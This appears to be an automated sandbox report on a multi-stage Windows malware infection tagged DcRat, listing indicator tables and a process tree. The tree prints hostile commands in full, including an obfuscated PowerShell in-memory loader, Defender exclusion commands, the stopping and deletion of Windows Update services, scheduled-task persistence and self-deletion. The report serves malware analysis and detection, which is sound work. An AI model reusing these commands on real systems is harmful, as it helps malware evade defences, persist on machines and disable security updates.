8e5c5046b33dbf01984fb25954473e347b786d56932e73ea662878cd1d14bfa08f2f2eb82e8ef2148acce9b57cfb6c9d0ca5e196	A121.bat.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
692	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1436	466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1.exe
1436	466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1.exe
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
692	Explorer.EXE

Suspicious behavior: MapViewOfSection 22 IoCs

pid	Process
1436	466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1.exe
3596	CD96.exe
4168	E4AA.exe
1084	43DA.exe
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE
692	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeDebugPrivilege	3504	timeout.exe
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeDebugPrivilege	2228	9103.exe
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeDebugPrivilege	3824	A121.bat.exe
Token: SeDebugPrivilege	1740	powershell.exe
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	1152	powercfg.exe
Token: SeCreatePagefilePrivilege	1152	powercfg.exe
Token: SeShutdownPrivilege	692	Explorer.EXE
Token: SeCreatePagefilePrivilege	692	Explorer.EXE
Token: SeShutdownPrivilege	3748	powercfg.exe
Token: SeCreatePagefilePrivilege	3748	powercfg.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5032	oldplayer.exe
4676	rundll32.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
692	Explorer.EXE
692	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 692 wrote to memory of 3596	692	Explorer.EXE	82
PID 692 wrote to memory of 3596	692	Explorer.EXE	82
PID 692 wrote to memory of 3596	692	Explorer.EXE	82
PID 692 wrote to memory of 4104	692	Explorer.EXE	83
PID 692 wrote to memory of 4104	692	Explorer.EXE	83
PID 692 wrote to memory of 4104	692	Explorer.EXE	83
PID 692 wrote to memory of 4168	692	Explorer.EXE	84
PID 692 wrote to memory of 4168	692	Explorer.EXE	84
PID 692 wrote to memory of 4168	692	Explorer.EXE	84
PID 692 wrote to memory of 4244	692	Explorer.EXE	85
PID 692 wrote to memory of 4244	692	Explorer.EXE	85
PID 692 wrote to memory of 4244	692	Explorer.EXE	85
PID 692 wrote to memory of 3316	692	Explorer.EXE	86
PID 692 wrote to memory of 3316	692	Explorer.EXE	86
PID 692 wrote to memory of 3316	692	Explorer.EXE	86
PID 692 wrote to memory of 560	692	Explorer.EXE	87
PID 692 wrote to memory of 560	692	Explorer.EXE	87
PID 692 wrote to memory of 560	692	Explorer.EXE	87
PID 4104 wrote to memory of 5032	4104	E0A2.exe	88
PID 4104 wrote to memory of 5032	4104	E0A2.exe	88
PID 4104 wrote to memory of 5032	4104	E0A2.exe	88
PID 4104 wrote to memory of 4488	4104	E0A2.exe	89
PID 4104 wrote to memory of 4488	4104	E0A2.exe	89
PID 692 wrote to memory of 216	692	Explorer.EXE	90
PID 692 wrote to memory of 216	692	Explorer.EXE	90
PID 692 wrote to memory of 216	692	Explorer.EXE	90
PID 4104 wrote to memory of 4608	4104	E0A2.exe	92
PID 4104 wrote to memory of 4608	4104	E0A2.exe	92
PID 692 wrote to memory of 4992	692	Explorer.EXE	93
PID 692 wrote to memory of 4992	692	Explorer.EXE	93
PID 692 wrote to memory of 4992	692	Explorer.EXE	93
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 4244 wrote to memory of 1604	4244	E6ED.exe	96
PID 5032 wrote to memory of 1620	5032	oldplayer.exe	98
PID 5032 wrote to memory of 1620	5032	oldplayer.exe	98
PID 5032 wrote to memory of 1620	5032	oldplayer.exe	98
PID 692 wrote to memory of 4868	692	Explorer.EXE	101
PID 692 wrote to memory of 4868	692	Explorer.EXE	101
PID 692 wrote to memory of 4868	692	Explorer.EXE	101
PID 692 wrote to memory of 2400	692	Explorer.EXE	103
PID 692 wrote to memory of 2400	692	Explorer.EXE	103
PID 692 wrote to memory of 2400	692	Explorer.EXE	103
PID 1620 wrote to memory of 3428	1620	oneetx.exe	104
PID 1620 wrote to memory of 3428	1620	oneetx.exe	104
PID 1620 wrote to memory of 3428	1620	oneetx.exe	104
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 4868 wrote to memory of 1924	4868	F20E.exe	106
PID 1604 wrote to memory of 3916	1604	E6ED.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:692
- C:\Users\Admin\AppData\Local\Temp\466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1.exe
  "C:\Users\Admin\AppData\Local\Temp\466a770ba78acf73d45a5c8ca7a93c88eb460a3e6a1b17cf8e1b58d56641f1b1.exe"
  2⤵
  - DcRat
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1436
- C:\Users\Admin\AppData\Local\Temp\CD96.exe
  C:\Users\Admin\AppData\Local\Temp\CD96.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3596
- C:\Users\Admin\AppData\Local\Temp\E0A2.exe
  C:\Users\Admin\AppData\Local\Temp\E0A2.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4104
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5032
  - - C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1620
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe" /F
        5⤵
        DcRat
        Creates scheduled task(s)
        
        PID:3428
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:4488
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4608
  - - C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:216
    - - C:\Windows\System32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:4792
    - - C:\Windows\System32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:2312
    - - C:\Windows\System32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:1644
    - - C:\Windows\System32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:5024
    - - C:\Windows\System32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:1668
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        5⤵
        
        PID:4352
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        5⤵
        
        PID:2596
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        5⤵
        Modifies security service
        
        PID:5112
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        5⤵
        
        PID:4164
    - - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:4552
- C:\Users\Admin\AppData\Local\Temp\E4AA.exe
  C:\Users\Admin\AppData\Local\Temp\E4AA.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4168
- C:\Users\Admin\AppData\Local\Temp\E6ED.exe
  C:\Users\Admin\AppData\Local\Temp\E6ED.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Users\Admin\AppData\Local\Temp\E6ED.exe
    C:\Users\Admin\AppData\Local\Temp\E6ED.exe
    3⤵
    - DcRat
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:1604
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\1b0715a8-99f8-4a96-800d-47fdd8f0c3e4" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:3916
  - - C:\Users\Admin\AppData\Local\Temp\E6ED.exe
      "C:\Users\Admin\AppData\Local\Temp\E6ED.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:3180
    - - C:\Users\Admin\AppData\Local\Temp\E6ED.exe
        
        "C:\Users\Admin\AppData\Local\Temp\E6ED.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1076
      - C:\Users\Admin\AppData\Local\c875b584-7749-4b0b-926b-b70ddbad680b\build2.exe
        
        "C:\Users\Admin\AppData\Local\c875b584-7749-4b0b-926b-b70ddbad680b\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\c875b584-7749-4b0b-926b-b70ddbad680b\build2.exe
        
        "C:\Users\Admin\AppData\Local\c875b584-7749-4b0b-926b-b70ddbad680b\build2.exe"
        7⤵
        Executes dropped EXE
        
        PID:3424
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\c875b584-7749-4b0b-926b-b70ddbad680b\build2.exe" & exit
        8⤵
        
        PID:2808
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:2268
      - C:\Users\Admin\AppData\Local\c875b584-7749-4b0b-926b-b70ddbad680b\build3.exe
        
        "C:\Users\Admin\AppData\Local\c875b584-7749-4b0b-926b-b70ddbad680b\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3692
- C:\Users\Admin\AppData\Local\Temp\E807.exe
  C:\Users\Admin\AppData\Local\Temp\E807.exe
  2⤵
  - Executes dropped EXE
  PID:3316
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3316 -s 340
    3⤵
    - Program crash
    PID:1684
- C:\Users\Admin\AppData\Local\Temp\E921.exe
  C:\Users\Admin\AppData\Local\Temp\E921.exe
  2⤵
  - Executes dropped EXE
  PID:560
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 560 -s 340
    3⤵
    - Program crash
    PID:4408
- C:\Users\Admin\AppData\Local\Temp\ED68.exe
  C:\Users\Admin\AppData\Local\Temp\ED68.exe
  2⤵
  - Executes dropped EXE
  PID:216
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 216 -s 812
    3⤵
    - Program crash
    PID:2672
- C:\Users\Admin\AppData\Local\Temp\EF2E.exe
  C:\Users\Admin\AppData\Local\Temp\EF2E.exe
  2⤵
  - Executes dropped EXE
  PID:4992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4992 -s 988
    3⤵
    - Program crash
    PID:1344
- C:\Users\Admin\AppData\Local\Temp\F20E.exe
  C:\Users\Admin\AppData\Local\Temp\F20E.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Users\Admin\AppData\Local\Temp\F20E.exe
    C:\Users\Admin\AppData\Local\Temp\F20E.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1924
  - - C:\Users\Admin\AppData\Local\Temp\F20E.exe
      "C:\Users\Admin\AppData\Local\Temp\F20E.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:1332
    - - C:\Users\Admin\AppData\Local\Temp\F20E.exe
        
        "C:\Users\Admin\AppData\Local\Temp\F20E.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:1800
      - C:\Users\Admin\AppData\Local\0f019be8-bd3f-4e71-b0e4-fb4410c10bc4\build2.exe
        
        "C:\Users\Admin\AppData\Local\0f019be8-bd3f-4e71-b0e4-fb4410c10bc4\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3288
        
        C:\Users\Admin\AppData\Local\0f019be8-bd3f-4e71-b0e4-fb4410c10bc4\build2.exe
        
        "C:\Users\Admin\AppData\Local\0f019be8-bd3f-4e71-b0e4-fb4410c10bc4\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3584
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\0f019be8-bd3f-4e71-b0e4-fb4410c10bc4\build2.exe" & exit
        8⤵
        
        PID:4868
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:3504
      - C:\Users\Admin\AppData\Local\0f019be8-bd3f-4e71-b0e4-fb4410c10bc4\build3.exe
        
        "C:\Users\Admin\AppData\Local\0f019be8-bd3f-4e71-b0e4-fb4410c10bc4\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:1544
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        DcRat
        Creates scheduled task(s)
        
        PID:3308
- C:\Users\Admin\AppData\Local\Temp\F4FD.exe
  C:\Users\Admin\AppData\Local\Temp\F4FD.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2400 -s 340
    3⤵
    - Program crash
    PID:696
- C:\Users\Admin\AppData\Local\Temp\4020.exe
  C:\Users\Admin\AppData\Local\Temp\4020.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:3448
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Executes dropped EXE
    PID:1992
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3448 -s 1188
    3⤵
    - Program crash
    PID:3580
- C:\Users\Admin\AppData\Local\Temp\43DA.exe
  C:\Users\Admin\AppData\Local\Temp\43DA.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:1084
- C:\Users\Admin\AppData\Local\Temp\50CC.exe
  C:\Users\Admin\AppData\Local\Temp\50CC.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  PID:1792
- - C:\ProgramData\86209927866869218501.exe
    "C:\ProgramData\86209927866869218501.exe"
    3⤵
    - Executes dropped EXE
    PID:4644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\86209927866869218501.exe
      4⤵
      PID:3404
    - - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 0
        5⤵
        
        PID:4836
- - C:\ProgramData\38132433851500793409.exe
    "C:\ProgramData\38132433851500793409.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    PID:3304
  - - C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe
      "C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"
      4⤵
      Executes dropped EXE
      PID:2292
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\50CC.exe" & exit
    3⤵
    PID:4568
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:2240
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1792 -s 2068
    3⤵
    - Program crash
    PID:3564
- C:\Users\Admin\AppData\Local\Temp\84DD.exe
  C:\Users\Admin\AppData\Local\Temp\84DD.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Checks processor information in registry
  PID:4392
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 924
    3⤵
    - Program crash
    PID:412
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 1028
    3⤵
    - Program crash
    PID:3920
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 956
    3⤵
    - Program crash
    PID:4360
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
    3⤵
    - Blocklisted process makes network request
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:4676
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 1036
    3⤵
    - Program crash
    PID:3544
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4392 -s 140
    3⤵
    - Program crash
    PID:2584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:3504
- C:\Users\Admin\AppData\Local\Temp\9103.exe
  C:\Users\Admin\AppData\Local\Temp\9103.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:5068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A121.bat" "
  2⤵
  PID:2600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\A121.bat"
    3⤵
    PID:3764
  - - C:\Users\Admin\AppData\Local\Temp\A121.bat.exe
      "C:\Users\Admin\AppData\Local\Temp\A121.bat.exe" -w hidden -c $revk='FrosFFmmBasFFmse6sFFm4SsFFmtrsFFmisFFmngsFFm'.Replace('sFFm', '');$WweU='ResFFmasFFmdLsFFminesFFmssFFm'.Replace('sFFm', '');$pjGU='SpsFFmlisFFmtsFFm'.Replace('sFFm', '');$Fzyd='EntrsFFmyPosFFmintsFFm'.Replace('sFFm', '');$aBhw='CresFFmatesFFmDecsFFmrysFFmptsFFmorsFFm'.Replace('sFFm', '');$HREw='InvsFFmoksFFmesFFm'.Replace('sFFm', '');$jbac='FisFFmrsFFmstsFFm'.Replace('sFFm', '');$aADe='GetCsFFmurresFFmntsFFmPrsFFmocsFFmesFFmsssFFm'.Replace('sFFm', '');$sXfv='ChsFFmansFFmgeExsFFmtsFFmensFFmsisFFmonsFFm'.Replace('sFFm', '');$wTHa='TsFFmrasFFmnssFFmfsFFmosFFmrmFsFFminasFFmlBlsFFmosFFmcksFFm'.Replace('sFFm', '');$ONFW='LoasFFmdsFFm'.Replace('sFFm', '');$qtnL='MaisFFmnsFFmMosFFmdulsFFmesFFm'.Replace('sFFm', '');function ALZvt($oGVdU){$JKKxv=[System.Security.Cryptography.Aes]::Create();$JKKxv.Mode=[System.Security.Cryptography.CipherMode]::CBC;$JKKxv.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$JKKxv.Key=[System.Convert]::$revk('ifbGGURdbadE6vKFWJ6lqzFh8pa7sdWsoK1PE1x2Pg8=');$JKKxv.IV=[System.Convert]::$revk('nl2cKsOpypaJCtH2Q16lkQ==');$ioETR=$JKKxv.$aBhw();$YGsyt=$ioETR.$wTHa($oGVdU,0,$oGVdU.Length);$ioETR.Dispose();$JKKxv.Dispose();$YGsyt;}function PGcng($oGVdU){$XwgaB=New-Object System.IO.MemoryStream(,$oGVdU);$rqMcY=New-Object System.IO.MemoryStream;$IKUWv=New-Object System.IO.Compression.GZipStream($XwgaB,[IO.Compression.CompressionMode]::Decompress);$IKUWv.CopyTo($rqMcY);$IKUWv.Dispose();$XwgaB.Dispose();$rqMcY.Dispose();$rqMcY.ToArray();}$UWpia=[System.Linq.Enumerable]::$jbac([System.IO.File]::$WweU([System.IO.Path]::$sXfv([System.Diagnostics.Process]::$aADe().$qtnL.FileName, $null)));$Vnggr=$UWpia.Substring(3).$pjGU(':');$BQIJW=PGcng (ALZvt ([Convert]::$revk($Vnggr[0])));$PADXe=PGcng (ALZvt ([Convert]::$revk($Vnggr[1])));[System.Reflection.Assembly]::$ONFW([byte[]]$PADXe).$Fzyd.$HREw($null,$null);[System.Reflection.Assembly]::$ONFW([byte[]]$BQIJW).$Fzyd.$HREw($null,$null);
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Modifies system certificate store
      Suspicious use of AdjustPrivilegeToken
      PID:3824
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3824);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
        5⤵
        
        PID:3644
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
        5⤵
        
        PID:2300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\A121')
        5⤵
        
        PID:5028
